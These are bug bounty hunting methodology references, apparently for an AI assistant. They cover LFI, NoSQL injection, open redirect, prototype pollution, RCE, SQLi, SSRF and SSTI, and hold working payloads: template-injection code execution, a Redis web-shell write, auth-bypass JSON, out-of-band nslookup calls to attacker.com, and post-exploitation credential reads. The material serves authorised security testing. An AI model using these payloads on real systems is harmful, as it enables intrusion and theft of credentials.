- `{"role": "admin"}` in profile update
- `{"user_id": 1}` in account settings
- `{"price": 0.01}` in checkout

Test by adding sensitive fields to update requests and checking if they take effect.

## Impact by Data Type

| Data Exposed | Severity |
|---|---|
| PII (name, email, address, phone) | High |
| Financial data (payment methods, transaction history) | High/Critical |
| Private messages | High |
| Account credentials or tokens | Critical |
| Public profile data (username, bio) | Low / Not reportable |
| Internal IDs without sensitive data | Low / Not reportable |

## Do Not Report
- Accessing public or non-sensitive data via known IDs
- IDOR that requires admin access to exploit (admin IDORing another admin)
- Enumerating sequential IDs without confirmed data leak (speculation)


path: references/vulnerabilities/lfi.md
content: # LFI — Local File Inclusion / Path Traversal Hunting Methodology

## Types to Hunt

| Type | Description |
|---|---|
| Path Traversal | Read arbitrary files via `../` sequences in file path parameters |
| Local File Inclusion | Server includes/executes the file (PHP `include()`) |
| LFI → RCE | Combine LFI with log poisoning or session file control to achieve RCE |

---

## Finding Path Traversal Entry Points

**High-risk parameters:**
- `?file=`, `?page=`, `?template=`, `?path=`, `?include=`, `?load=`, `?view=`
- `?doc=`, `?pdf=`, `?download=`, `?resource=`, `?lang=`, `?module=`
- Image/file serving: `/download?name=file.pdf`, `/static?f=img.png`
- Language switching: `?lang=en` (may load `lang/en.php`)

**Source code red flags:**
```php
// PHP — vulnerable
include($_GET['page'] . '.php');
file_get_contents($_GET['file']);
readfile('/var/www/docs/' . $filename);

// Python — vulnerable
open('/data/' + user_input, 'r').read()
send_file('uploads/' + filename)
```

---

## Detection Payloads (suggest to user)

**Basic traversal (Linux):**
- `../../../../etc/passwd`
- `../../../etc/passwd`
- `/etc/passwd` (absolute path — if no sanitization at all)

**Windows traversal:**
- `..\..\..\..\windows\win.ini`
- `../../../../windows/win.ini`

**URL encoding bypasses:**
- `..%2F..%2F..%2Fetc%2Fpasswd`
- `%2e%2e%2f%2e%2e%2fetc%2fpasswd`
- Double encoding: `..%252F..%252Fetc%252Fpasswd`

**Null byte (older PHP < 5.3.4):**
- `../../../../etc/passwd%00`

**If suffix is appended by server (e.g., `.php`):**
- Try PHP wrappers: `php://filter/convert.base64-encode/resource=../../../../etc/passwd`
- The response will be base64 — decode to get file contents

---

## High-Value Target Files

| OS | File | What It Contains |
|---|---|---|
| Linux | `/etc/passwd` | User accounts (confirm traversal) |
| Linux | `/etc/shadow` | Password hashes (if root readable) |
| Linux | `/proc/self/environ` | Environment variables, API keys |
| Linux | `/proc/self/cmdline` | Running process command |
| Linux | `~/.ssh/id_rsa` | Private SSH key → auth |
| Linux | `/var/www/html/config.php` | DB credentials, API keys |
| Linux | `/var/log/apache2/access.log` | Log poisoning target |
| Windows | `C:\Windows\win.ini` | Confirm traversal |
| Windows | `C:\inetpub\wwwroot\web.config` | App config, credentials |
| Any | `.env`, `config.yml`, `settings.py` | Application secrets |

---

## LFI → RCE Escalation (PHP)

**Log Poisoning:**
1. Send a request with a PHP code execution payload in the User-Agent header — a one-liner that passes a GET parameter to an OS command function (e.g., `system()`, `passthru()`, or `shell_exec()`). Exact payload syntax: see HackTricks "LFI Log Poisoning" or PayloadsAllTheThings.
2. Include the Apache/Nginx access log via LFI:
   - `?page=../../../../var/log/apache2/access.log`
   - Alternative: `/proc/self/fd/[0-20]` — iterate fd numbers to find open log file descriptors without knowing the exact path
3. If log is displayed/included → RCE via `?page=...&cmd=id`

**Session File Poisoning:**
1. Inject PHP payload into a session variable (e.g., username field)
2. Find PHP session file path: typically `/tmp/sess_SESSIONID`
3. Include session file: `?page=../../../../tmp/sess_<sessionid>`

**PHP Wrappers (if `allow_url_fopen` or `allow_url_include`):**
- `php://input` — POST data as include source (POST body is treated as PHP and executed)
- `data://text/plain,[php-payload]` — inline execution via data URI; the payload runs as PHP code (requires `allow_url_include=On`). Exact syntax: HackTricks "LFI PHP Wrappers"
- `expect://id` — if `expect` wrapper enabled (rare)
- **PHP Filter Chain RCE (modern, no log access needed):** Chain PHP filters via `php://filter/convert.iconv.UTF8.CSISO2022KR|...` to construct arbitrary strings that get executed. This works even without write access to any file. Tool: `php_filter_chain_generator` on GitHub — generates the full chain payload from a target command.

---

## Impact Classification

| Finding | Severity |
|---|---|
| `/etc/passwd` readable (non-shadow) | Medium |
| Config files with DB credentials / API keys | High |
| `/etc/shadow` readable | Critical |
| SSH private key readable | Critical |
| LFI → RCE via log poisoning | Critical |
| Path traversal limited to non-sensitive dirs | Low |

## Evidence Requirements
1. Exact parameter and payload used
2. Actual file content returned (redact after first line to avoid data exposure)
3. HTTP request + truncated response (show first lines of `/etc/passwd`)
4. For RCE escalation: include the full chain (log poison + include)

## Do Not Report
- Path traversal that's blocked (returns 403 or sanitized path, no file content)
- Reading only non-sensitive application files that don't contain secrets
- Directory listing without file content (different vuln class)


path: references/vulnerabilities/nosqli.md
content: # NoSQL Injection — Hunting Methodology

## What Is NoSQL Injection

Unlike SQL injection which targets relational databases, NoSQL injection targets document stores (MongoDB), key-value stores (Redis), and graph databases. The attack patterns differ significantly — instead of `' OR 1=1`, attackers inject **operator objects** or **JavaScript** into query parameters.

Most common target: **MongoDB** in Node.js/Express apps.

---

## MongoDB Operator Injection

### How It Happens

Vulnerable Node.js/Express code:
```javascript
// Vulnerable — user input directly merged into query
const user = await User.findOne({ email: req.body.email, [REDACTED_SECRET] });

// If attacker sends: {"email": "[REDACTED_SECRET]", "password": {"$gt": ""}}
// MongoDB query becomes: {email: "[REDACTED_SECRET]", password: {$gt: ""}}
// $gt: "" means "password greater than empty string" → matches ANY password!
```

### Detection Payloads

**In JSON body** — replace string value with operator object:
```json
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": {"$regex": "^admin"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
```

**In URL query parameters** (bracket notation):
```
/login?user=admin&password[$gt]=
/search?query[$regex]=.*&query[$options]=i
/api/users?role[$ne]=user
```

**If the app parses URL params as objects** (qs library with default settings):
```
/login?username=admin&password[$gt]=&password[$lt]=zzz
```

---

## Auth Bypass via `$ne` / `$gt`

**Most impactful single payload — bypasses login without knowing the password:**

```json
POST /api/login
Content-Type: application/json

{"email": "[REDACTED_SECRET]", "password": {"$ne": "x"}}
```

If response returns a valid session token → **authentication bypass = Critical.**

Variations:
```json
{"email": {"$gt": ""}, "password": {"$gt": ""}}   // Login as first user in DB
{"email": "[REDACTED_SECRET]", "password": {"$exists": false}}  // Password field doesn't need to exist
{"email": {"$regex": ".*admin.*"}, "password": {"$gt": ""}}    // Regex username match
```

---

## Data Extraction via `$regex`

Even without auth bypass, `$regex` allows blind data extraction similar to blind SQLi:

**Step 1 — Confirm regex injection:**
```json
{"username": {"$regex": "^a"}}  // Does this return different results for admin vs non-admin?
```

**Step 2 — Extract data character by character (suggest to user to script this):**
```json
{"username": {"$regex": "^a"}}  → if true, first char is 'a'
{"username": {"$regex": "^ad"}} → confirm second char
{"username": {"$regex": "^adm"}} → continue...
```

**Step 3 — Extract all usernames:**
```json
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}  // Returns all users
```

---

## JavaScript Injection (Server-Side JS Execution)

Older MongoDB (< 4.4) supported `$where` with JavaScript expressions. If still in use:

```json
{"$where": "this.username == 'admin' && sleep(5000)"}
```

If the request takes 5+ seconds → **blind NoSQL injection via `$where` confirmed.**

**Data extraction via `$where`:**
```json
{"$where": "this.password.match(/^p/)"}  // True if password starts with 'p'
```

**RCE attempt (MongoDB < 2.4 / very old):**
```json
{"$where": "function() { return db.version(); }"}
```

> Modern MongoDB (4.x+) disables `$where` by default. Still worth testing legacy apps.

---

## Redis Injection

If application uses Redis for session/cache and incorporates user input into Redis commands:

**CRLF injection into Redis commands:**
```
user=test\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET['c']); ?>"\r\nBGSAVE
```

This is largely theoretical unless the app blindly concatenates user input into raw Redis protocol. Look for apps that use Redis as a message queue with user-controlled channel names or keys.

---

## GraphQL + NoSQL Injection

If app uses MongoDB behind a GraphQL API, operator injection may work through GraphQL arguments:

```graphql
{
  user(filter: "{\"password\": {\"$gt\": \"\"}}") {
    email
    apiKey
  }
}
```

Or if input is parsed as a filter object directly:
```graphql
{
  users(where: {password: {_gt: ""}}) {
    email
  }
}
```

---

## Identifying MongoDB/NoSQL Apps

**Signs the app uses MongoDB:**
- Stack traces mentioning `MongoError`, `mongoose`, `mongodb`
- Error messages: `CastError`, `ValidationError`, `ObjectId`
- ObjectId-style IDs in responses: `"id": "507f1f77bcf86cd799439011"` (24 hex chars)
- `_id` field in JSON responses
- `package.json` (if accessible) showing `mongoose` or `mongodb` dependencies
- JS files mentioning `.find({`, `.findOne({`, `.aggregate(`

---

## Bypassing Input Validation

Many apps use JSON Schema validation but only validate types at top level:

```json
// Validation expects: {"password": "string"}
// But some validators allow objects if union types not specified
{"password": {"$gt": ""}}
```

Try both:
1. Direct operator in JSON body
2. `Content-Type: application/x-www-form-urlencoded` with `password[$gt]=`
3. Mixed — some fields as strings, target field as operator

---

## Impact Classification

| Scenario | Severity |
|---|---|
| Auth bypass via `$ne`/`$gt` on login | Critical |
| Data extraction via `$regex` (any user data) | High |
| Auth bypass → admin panel access | Critical |
| `$where` JavaScript injection confirmed | High/Critical |
| Operator injection with limited data exposure | Medium |
| Injection in search (no auth bypass, no sensitive data) | Low/Medium |

## Evidence Requirements
1. Exact payload injected (JSON body or URL params)
2. Response showing successful auth bypass OR extracted data
3. Comparison: normal request vs injected request
4. For blind extraction: show the binary search process output

## Do Not Report
- NoSQL injection attempts that return the same response as a normal request (not vulnerable)
- Injection in pure read-only endpoints with no sensitive data returned
- Operator injection filtered by input validation (show attempted bypass first)


path: references/vulnerabilities/open-redirect.md
content: # Open Redirect — Hunting Methodology

## What Is an Open Redirect

The application uses user-controlled input to construct a redirect URL without validating the destination, allowing an attacker to redirect a victim who clicks a legitimate-looking link to a malicious site.

**Standalone open redirect is generally LOW severity.** It becomes **Medium–High** when chained with other vulnerabilities (OAuth token theft, credential harvesting via trusted domain, etc.).

---

## Finding Open Redirect Entry Points

**Parameters commonly used for redirects:**
- `?next=`, `?redirect=`, `?url=`, `?return=`, `?dest=`, `?destination=`
- `?goto=`, `?target=`, `?redir=`, `?redirect_uri=`, `?continue=`
- `?back=`, `?returnTo=`, `?from=`, `?forward=`, `?ref=`
- `?successUrl=`, `?failUrl=`, `?callback=`

**In HTTP headers:**
- `Referer:` header used by app to redirect back
- `Location:` response header that accepts tainted input

---

## Detection Payloads (suggest to user)

**Basic test:**
`?next=https://evil.com`

If redirected to `evil.com` → Open redirect confirmed.

**If only same-domain redirects allowed (relative path bypass):**
- `?next=//evil.com` — protocol-relative URL
- `?next=///evil.com` — triple slash
- `?next=////evil.com`
- `?next=/\evil.com` — backslash confusion (some browsers)
- `?next=https:evil.com` → colon confusion

**Domain allowlist bypass:**
If app only allows certain domains, try:
- `?next=https://evil.com\@allowed.com` — confuse parser
- `?next=https://allowed.com.evil.com` — subdomain confusion
- `?next=https://[REDACTED_SECRET]` — userinfo confusion
- `?next=javascript:alert(1)` → open redirect + XSS if reflected in `href`

**URL encoding bypass:**
- `?next=https:%2F%2Fevil.com`
- `?next=https%3A%2F%2Fevil.com`

---

## Standalone vs Chained Impact

| Scenario | Severity |
|---|---|
| Open redirect on OAuth callback (`redirect_uri`) → token theft | High |
| Open redirect on password reset flow → intercept reset link | High |
| Open redirect after login → phish credentials on attacker site | Medium |
| Open redirect in email confirmation link | Medium |
| Bare open redirect with no auth context | Low / Informational |
| `javascript:` URI causing XSS via redirect | High (XSS, report as XSS) |

**Most bug bounty programs will reject bare open redirects unless chained.** Always look for an auth context: OAuth, password reset, login flow, email verification.

---

## OAuth Open Redirect (High Severity)

The most valuable open redirect scenario:

1. OAuth flow uses `redirect_uri` parameter
2. Server validates that `redirect_uri` starts with `https://app.com/callback`
3. Open redirect at `https://app.com/callback?next=https://evil.com`
4. Attacker crafts OAuth URL with redirect to the open redirect:
   `https://auth.provider.com/oauth?...&redirect_uri=https://app.com/callback%3Fnext%3Dhttps%3A%2F%2Fevil.com`
5. Victim authorizes → provider redirects to `app.com/callback?next=evil.com` (allowed)
6. `app.com` opens redirects to `evil.com` → **authorization code in Referer header is sent to evil.com**

If authorization code in URL + open redirect exists → chain is High severity.

---

## Evidence Requirements

**To report as standalone (Low/Medium):**
- Exact parameter and URL
- HTTP response showing `Location: https://evil.com` or browser redirect confirmed
- Explain WHY this is not intended (victim trust in domain)

**To report as chained (Medium/High):**
- Full exploit chain documented step by step
- Explain the business impact (credential phishing, OAuth token theft)
- PoC link: `https://target.com/login?next=https://evil.com` → copy this link format

---

## Do Not Report
- Open redirect in admin panels (low risk, limited victim pool)
- Open redirect where destination is validated against an allowlist AND bypass fails
- Open redirect where the only value is "looks like a legit link" with no auth context
- Open redirect to subdomains the attacker doesn't control (e.g., `app.target.com` → `other.target.com`)


path: references/vulnerabilities/prototype-pollution.md
content: # Prototype Pollution — Hunting Methodology

## What Is Prototype Pollution

Every JavaScript object inherits from `Object.prototype`. If attacker-controlled input can add properties to `Object.prototype`, those properties appear on ALL objects in the application — enabling XSS, auth bypass, denial of service, or even RCE (server-side).

Two distinct types:
- **Client-side prototype pollution** → DOM XSS, UI manipulation
- **Server-side prototype pollution (SSPP)** → RCE, auth bypass in Node.js

---

## Client-Side Prototype Pollution

### Finding Entry Points

**URL query parameters parsed by custom code:**
```
https://target.com/page?__proto__[isAdmin]=true
https://target.com/page?constructor[prototype][isAdmin]=true
```

**URL hash:**
```
https://target.com/page#__proto__[isAdmin]=true
```

**JSON body when merged shallowly:**
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
```

**localStorage/sessionStorage values** that get merged into config objects.

### Detection Probe

Inject into any parameter that gets parsed into an object:
```
?__proto__[testprop]=polluted
?constructor[prototype][testprop]=polluted
```

Then check in browser console:
```javascript
({}).testprop  // Should return 'polluted' if vulnerable
```

### Escalating to XSS

Look for gadgets — patterns in the app's JS code that use prototype properties as HTML sink inputs:

```javascript
// Common gadget patterns
document.write(config.targetElement || 'default')
element.innerHTML = options.template || ''
$('<div>').html(settings.content || '')
```

If `config.targetElement` gets its value from `Object.prototype.targetElement` → injecting HTML via prototype = DOM XSS.

**Tool to suggest:** [DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader) (Burp Suite) — automated prototype pollution gadget finder.

---

## Server-Side Prototype Pollution (SSPP) — Node.js

### Why It's Different

On the server, polluting `Object.prototype` affects ALL objects in the Node.js process. This can:
- Override security checks (`isAdmin`, `authenticated`)
- Manipulate child process options → `shell: true` → RCE
- Break JSON serialization → Denial of service

### Detection — JSON Body Injection

Send a POST/PUT with `__proto__` in JSON:
```json
{"__proto__": {"status": 444}}
```

**If the HTTP response status code changes to 444** → `Object.prototype.status` was used somewhere in the response logic → **SSPP confirmed**.

Alternative detection:
```json
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//x"}}
```
*(This is a Pug template engine RCE gadget — only for confirmed SSPP)*

### Safe Detection Probes

To confirm without triggering RCE:
```json
{"__proto__": {"json spaces": 10}}
```
If JSON responses suddenly become pretty-printed with large indentation → SSPP confirmed (Express/body-parser uses `json spaces`).

```json
{"__proto__": {"exposedHeaders": ["X-Custom-Polluted"]}}
```
If `X-Custom-Polluted` appears in CORS response headers → SSPP confirmed via cors package.

### SSPP → RCE Gadget Chains

Once SSPP is confirmed, look for known Node.js gadget chains:

| Package | Gadget | RCE Method |
|---|---|---|
| **child_process** | `shell: true` on `spawn()` | Inject `{"__proto__":{"shell":"/bin/bash","env":{"NODE_OPTIONS":"--require /proc/self/environ"}}}` |
| **Pug** | `outputFunctionName` | Template renders arbitrary JS |
| **EJS** | `outputFunctionName` or `settings['view options']` | Code injection in template |
| **Handlebars** | `__proto__` bypass in compiled template | Code execution |

**Tool to suggest:** [server-side-prototype-pollution](https://github.com/nicowillis/server-side-prototype-pollution) scanner, or use Burp's Backslash Powered Scanner.

---

## Impact Classification

| Scenario | Severity |
|---|---|
| Client-side → DOM XSS via gadget | High |
| SSPP confirmed (no RCE gadget found) | Medium/High |
| SSPP + RCE via known gadget chain | Critical |
| SSPP → auth bypass (`isAdmin: true`) | Critical |
| SSPP → DoS (crash Node process) | Medium |
| Client-side PP without usable gadget | Low/Informational |

## Evidence Required
- Probe input used
- Proof of pollution (console output of `({}).prop`, or JSON response change)
- For SSPP: response behavior change that confirms prototype was modified
- For RCE: `id` command output or OOB DNS


path: references/vulnerabilities/rce.md
content: # RCE — Remote Code Execution Hunting Methodology

## Attack Vectors to Hunt

| Vector | Description | Priority |
|---|---|---|
| OS Command Injection | User input passed to shell without sanitization | Critical |
| Code Injection | User input evaluated as code (`eval`, `exec`) | Critical |
| Deserialization | Untrusted object deserialization | Critical |
| File Upload + Execution | Upload webshell to executable path | Critical |
| Template Injection (SSTI) | Template engine evaluates user input | Critical |
| XML / XXE → SSRF → RCE | XXE → internal service → code exec | Critical |
| Dependency Confusion / Supply Chain | Out of scope for most BB programs | N/A |

---

## 1. OS Command Injection

**Common Sinks:**
- `exec()`, `system()`, `popen()`, `subprocess()`, `shell_exec()`, `passthru()`
- Python: `os.system()`, `subprocess.run(shell=True)`, `eval()`
- Node.js: `child_process.exec()`, `child_process.spawn()` with shell=true

**Source Code Red Flags:**
```
# Python — vulnerable
os.system(f"ping {user_input}")
subprocess.run(f"convert {filename}", shell=True)

# PHP — vulnerable: user-controlled parameter concatenated into OS command function
# Exact sink names: exec(), passthru(), shell_exec() — see PayloadsAllTheThings RCE
exec("whois " . $ip);

# Node.js — vulnerable
exec(`git clone ${url}`)
```

**Injection Payloads (suggest to user):**
- Append command: `; id`, `| id`, `&& id`
- Backtick: `` `id` ``
- Newline: `%0a id`
- Blind (OOB): `; nslookup $(whoami).attacker.com`
- Blind time: `; sleep 5`

**Bypass Common Filters:**
- Space bypass: `${IFS}`, `{id}`, `%09` (tab)
- Slash bypass: `${PATH:0:1}` = `/`
- Quote bypass: mix single and double quotes

---

## 2. Deserialization RCE

**Languages to Target:**

| Language | Libraries/Formats | Attack Path |
|---|---|---|
| Java | `ObjectInputStream`, XStream, Jackson | Gadget chain → RCE |
| PHP | `unserialize()` | Magic methods → arbitrary code |
| Python | `pickle.loads()`, `yaml.load()` (unsafe) | `__reduce__` → OS command |
| Ruby | `Marshal.load()` | Gadget chain |
| Node.js | `node-serialize` | IIFE in JSON |
| .NET | `BinaryFormatter`, JSON.NET with TypeNameHandling | Gadget chain |

**Detection (suggest to user to look for):**
- Base64-encoded data in cookies or POST bodies that look like serialized objects
- Cookie values starting with `rO0` (Java), `O:` (PHP), or pickle magic bytes (`\x80\x04`)
- Endpoints that accept XML/YAML blobs
- APIs that accept raw object data and reflect it back

**PHP `unserialize` Quick Check:**
Inject `O:8:"stdClass":0:{}` — if it doesn't throw an error, deserialization is active.
Then test gadget chains from phpggc: `phpggc Laravel/RCE1 system id`

**Python `pickle` Confirm:**
Inject a pickle payload that triggers DNS: 
```python
import pickle, base64
class X:
    def __reduce__(self): return (os.system, ('nslookup attacker.com',))
```

---

## 3. File Upload → RCE

**Required Conditions:**
1. Can upload a file with attacker-controlled content
2. File is accessible at a predictable/discoverable URL
3. Server executes the uploaded file type (PHP, JSP, ASP, py)

**Attack Steps:**
1. Upload a PHP file (e.g., `shell.php`) containing a minimal code execution payload — a one-liner that passes a GET parameter to an OS command function (`system()`, `passthru()`, or `shell_exec()`). Exact working payloads: HackTricks "File Upload" or PayloadsAllTheThings "File Upload".
2. Find where the file is stored (observe URL in response, brute predictable path)
3. Access `https://target.com/uploads/shell.php?cmd=id`

**File Extension Bypass Techniques:**
- Double extension: `shell.php.jpg`
- Null byte: `shell.php%00.jpg` (older PHP)
- MIME confusion: send `image/jpeg` content-type with PHP content
- Capitalization: `shell.PHP`, `shell.Php`
- Less common ext: `.phtml`, `.php5`, `.phar`

**If no direct execution path:** Check if files are served through a PHP include or template engine that interprets them.

---

## 4. Template Injection → RCE

See `references/vulnerabilities/ssti.md` for full SSTI methodology. SSTI commonly escalates to RCE — use this path when template injection is confirmed.

---

## Impact Classification

| RCE Type | Severity |
|---|---|
| Unauthenticated OS command injection | Critical |
| Authenticated OS command injection (any user) | High-Critical |
| Deserialization RCE | Critical |
| File upload shell execution | Critical |
| RCE requiring admin login | High |
| Blind RCE (confirmed via OOB but no output) | High-Critical |

## Do Not Report
- Command injection in admin-only panels if only admins could ever reach it (check program scope)
- Injection that's filtered completely — test the bypass first
- File upload without confirmed execution path (LFI + upload is a separate chain)

## Evidence Requirements for RCE Reports
RCE is the highest severity — triagers expect:
1. **Exact vulnerable endpoint and parameter**
2. **Payload that triggers execution** (blind: OOB DNS; non-blind: `id` output)
3. **Full HTTP request** with payload
4. **Response or OOB evidence** proving execution
   - Blind RCE: use Burp Collaborator or [interactsh](https://github.com/projectdiscovery/interactsh) (free) — `; nslookup $(whoami).YOUR-INTERACTSH-HOST`
5. **Impact statement:** "Attacker achieves arbitrary code execution as [OS user] on [server]"

## Post-RCE: Maximizing Impact Evidence
Once RCE is confirmed, collect these for your report to justify Critical severity:
- `id` — confirm OS user (root vs www-data changes severity framing)
- `cat /proc/self/environ` — environment variables, may contain cloud credentials
- `env | grep -i aws` — AWS keys if running in cloud environment
- `cat /etc/passwd` — user list (shows server context)
- `cat /proc/net/fib_trie` — internal IP ranges (demonstrates network access)
- `ls /home` — other user directories

Stop after confirming RCE — do NOT access production data, customer files, or modify anything.


path: references/vulnerabilities/sqli.md
content: # SQL Injection — Hunting Methodology

## Types to Hunt

| Type | Description | Priority |
|---|---|---|
| Classic / Error-based | DB error leaks query structure | High |
| Blind Boolean | Behavior changes based on true/false conditions | High |
| Blind Time-based | `SLEEP()` / `WAITFOR DELAY` to confirm | High |
| Second-order | Input stored, then used unsafely later | High |
| ORM misuse | Raw query methods bypassing ORM protection | High |

## Finding Injection Points

Look for these patterns in source code or HTTP traffic:

**High-risk parameters:**
- `?id=`, `?user_id=`, `?order=`, `?sort=`, `?search=`, `?category=`
- Any parameter that correlates to a DB lookup result

**Source code red flags:**
- `query = "SELECT ... WHERE id = " + input`
- `cursor.execute("... WHERE user = '%s'" % input)`
- `.raw()`, `.extra()`, `.RawSQL()` in Django ORM
- `DB::select("... '$input'...")` in Laravel
- `$conn->query("... $input...")` in PHP
- String interpolation in any query construction

## Defense Verification

Confirm the following are NOT present before reporting:

| Defense | How to Confirm Absent |
|---|---|
| Prepared statements | No `?` or `:name` placeholders in query construction |
| ORM parameterization | Not using `.filter()`, `.where()` with value args — using raw string concat instead |
| Stored procedures (safe) | Not using `EXEC (@userInput)` style dynamic SQL in procs |
| Input type casting | `(int)$id` before use in query — numeric injection impossible |

## Confirmation Payloads (suggest to user)

For suspected SQLi endpoints, user should try:

**Boolean test (compare responses):**
- True: `1 AND 1=1`
- False: `1 AND 1=2`
If responses differ → Boolean SQLi confirmed

**Error-based:**
- `'` (single quote) — look for database error
- `''` (two quotes) — should return normal response
Error on `'` + normal on `''` → high confidence

**Time-based (as last resort):**
- MySQL: `1 AND SLEEP(5)`
- MSSQL: `1; WAITFOR DELAY '0:0:5'--`
- PostgreSQL: `1; SELECT pg_sleep(5)--`

## Impact Assessment

| Scenario | Impact |
|---|---|
| `SELECT` injection | Data exfiltration — HIGH |
| `UPDATE/INSERT` | Data modification — HIGH |
| Auth bypass (`' OR '1'='1`) | Account takeover — CRITICAL |
| UNION-based on auth endpoint | Full DB dump — CRITICAL |
| Stacked queries + file write | RCE — CRITICAL |
| Read-only DB user confirmed | High → downgrade to Medium |

## Second-Order SQLi

Input is stored safely then later used in an unsafe query:
1. Register with username: `admin'--`
2. Later operation uses username in a new query unsafely
3. Result: SQLi triggers in different context

Check: any stored data (usernames, addresses, titles) that is later used in search, admin panels, or audit logs.

## Do Not Report If
- Prepared statements are used throughout (confirmed in code)
- Input is cast to integer/typed before query use
- ORM parameterized methods are used (not raw query methods)
- Error messages are suppressed and time-based is not confirmed with user-provided output


path: references/vulnerabilities/ssrf.md
content: # SSRF — Server-Side Request Forgery Hunting Methodology

## High-Value SSRF Targets

| Target | Impact |
|---|---|
| Cloud IMDS ([cloud-imds-ip]) | AWS/GCP/Azure credentials → full account takeover |
| Internal services (localhost:port) | Access to admin UIs, databases, Elasticsearch |
| Internal network scan | Network topology disclosure |
| File scheme (file://) | Local file read |
| DNS rebinding | Bypass IP allowlists |

## Finding SSRF Entry Points

Parameters that accept URLs or fetch content on behalf of user:

- Webhooks: `callback_url`, `webhook`, `notify_url`
- Import features: `url`, `file_url`, `import_from`, `fetch_url`
- Image/media: `avatar_url`, `image_url`, `thumbnail`, `preview`
- Proxy-style: `proxy`, `next`, `redirect_to`, `destination`
- PDF/screenshot generators: page URL parameters
- Integration setup: `endpoint`, `slack_webhook`, `api_endpoint`
- XML/JSON imports with external entities

## Confirmation Payloads (suggest to user)

**Step 1 — prove outbound request:**
Use collaborator/interactsh/webhook.site URL and check for DNS lookup + HTTP request.

Example: `url=https://YOUR-COLLABORATOR-ID.oast.pro`

If DNS/HTTP request received → SSRF confirmed (at minimum blind SSRF).

**Step 2 — escalate to internal (suggest):**
- `url=http://[cloud-imds-ip]/latest/meta-data/` (AWS IMDSv1)
- `url=http://metadata.google.internal/computeMetadata/v1/` (GCP — needs header)
- `url=http://[cloud-imds-ip]/metadata/instance?api-version=2021-02-01` (Azure)
- `url=http://localhost:6379/` (Redis)
- `url=http://localhost:27017/` (MongoDB)
- `url=http://internal.admin/`

If app returns internal content in response → Full SSRF confirmed.

**Step 3 — try file scheme:**
- `url=file:///etc/passwd`
- `url=file:///proc/self/environ`

## Defense Bypasses to Test

If direct IP is blocked, suggest trying:

- Decimal IP: `http://2130706433/` = `http://127.0.0.1/`
- Hex IP: `http://0x7f000001/`  
- IPv6: `http://[::1]/`
- DNS-based: create a DNS record pointing to 127.0.0.1
- URL encoding: `http://127.0.0.1%09.evil.com/`
- Protocol confusion: `gopher://`, `dict://`, `sftp://`

## Reportability Threshold

| Confirmed Impact | Severity |
|---|---|
| AWS IMDS v1 credential access | Critical |
| Internal admin panel access | High |
| Internal port scanning with response | High |
| Blind SSRF (DNS only, no response body) | Medium |
| Blind SSRF (no internal access confirmed) | Low–Medium |
| External-only SSRF to public IPs | Low / Informational |

**Blind SSRF is reportable at Medium if internal network is the likely target.** Do not claim Critical for blind SSRF alone.

## IMDSv2 Protection

AWS IMDSv2 requires a PUT request with a token first — not exploitable via SSRF alone (SSRFs are typically GET only). If target is on AWS, check if IMDSv2 is enforced before claiming Critical.

> **Note:** `[cloud-imds-ip]` throughout this file refers to the cloud Instance Metadata Service link-local address used by AWS, GCP, and Azure. The specific IP is documented in each provider's official documentation.

`curl -X PUT "http://[cloud-imds-ip]/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

If 403 on PUT → IMDSv2 enforced → downgrade from Critical.


path: references/vulnerabilities/ssti.md
content: # SSTI — Server-Side Template Injection Hunting Methodology

## What Is SSTI

User-supplied input is embedded into a server-side template and evaluated by the template engine, allowing arbitrary code execution in the server's context.

## Affected Template Engines

| Engine | Language | RCE Potential |
|---|---|---|
| Jinja2 | Python | Yes — `__class__.__mro__` chains |
| Twig | PHP | Yes — `_self.env.registerUndefinedFilterCallback` |
| Freemarker | Java | Yes — `freemarker.template.utility.Execute` |
| Pebble | Java | Yes — via `ClassUtil` |
| Velocity | Java | Yes — via `ClassTool` |
| Smarty | PHP | Yes — `{php}` tag |
| Handlebars (server-side) | Node.js | Limited — prototype pollution chains |
| ERB | Ruby | Yes — `<%= system("id") %>` |
| Mako | Python | Yes — `${__import__('os').system('id')}` |

## Finding SSTI

**Where user input renders as dynamic content:**
- Error messages that reflect input ("Hello, [user input]!")
- Profile names, bios, display names
- Email templates (name field in "Dear {name}")
- Search results that echo the query back
- PDF/report generators that incorporate user content
- Custom message or notification templates

## SSTI Detection Probe Sequence

**Step 1 — Mathematical expression test:**
- Input: `{{7*7}}` → If `49` appears in response: **Jinja2/Twig/similar confirmed**
- Input: `${7*7}` → If `49`: **Freemarker/Velocity/Mako/ERB**
- Input: `#{7*7}` → If `49`: **Ruby ERB / Pebble**
- Input: `<%= 7*7 %>` → If `49`: **ERB**

**Step 2 — Engine identification:**
- `{{7*'7'}}` → `7777777` = Jinja2 | `49` = Twig
- `{{"a".toUpperCase()}}` → `A` = Twig (PHP)

**Step 3 — Escalate to RCE:**

*Jinja2 (Python):*
```
{{''.__class__.__mro__[1].__subclasses__()[372]('id',shell=True,stdout=-1).communicate()[0]}}
```
Or simpler (if `os` accessible):
```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

*Twig (PHP):*
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

*Freemarker (Java):*
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```

*Mako (Python):*
```
${__import__('os').popen('id').read()}
```

*ERB (Ruby):*
```
<%= `id` %>
```

## Context Escape First

If the template uses `{{ user_input }}` but the page shows the literal `{{7*7}}` as text, the engine may be X-encoding output. Try:
- Putting the injection IN a URL parameter that's reflected differently
- Injecting in different fields (email vs username vs bio)
- Injecting where the value is used in a backend process (report generation, email send)

## Confidence Levels

| Signal | Confidence |
|---|---|
| `{{7*7}}` → `49` in response | Probable |
| Engine-specific payload returns code output | Confirmed |
| OOB DNS from template payload | Confirmed (Blind SSTI) |
| Mathematical expression echoed literally | Low - likely escaping |

## Impact

SSTI → RCE on the server running the template engine. Severity: **Critical** if reachable by any user, **High** if requires specific role.

## Evidence Required
1. The template injection probe (`{{7*7}}` → `49`)
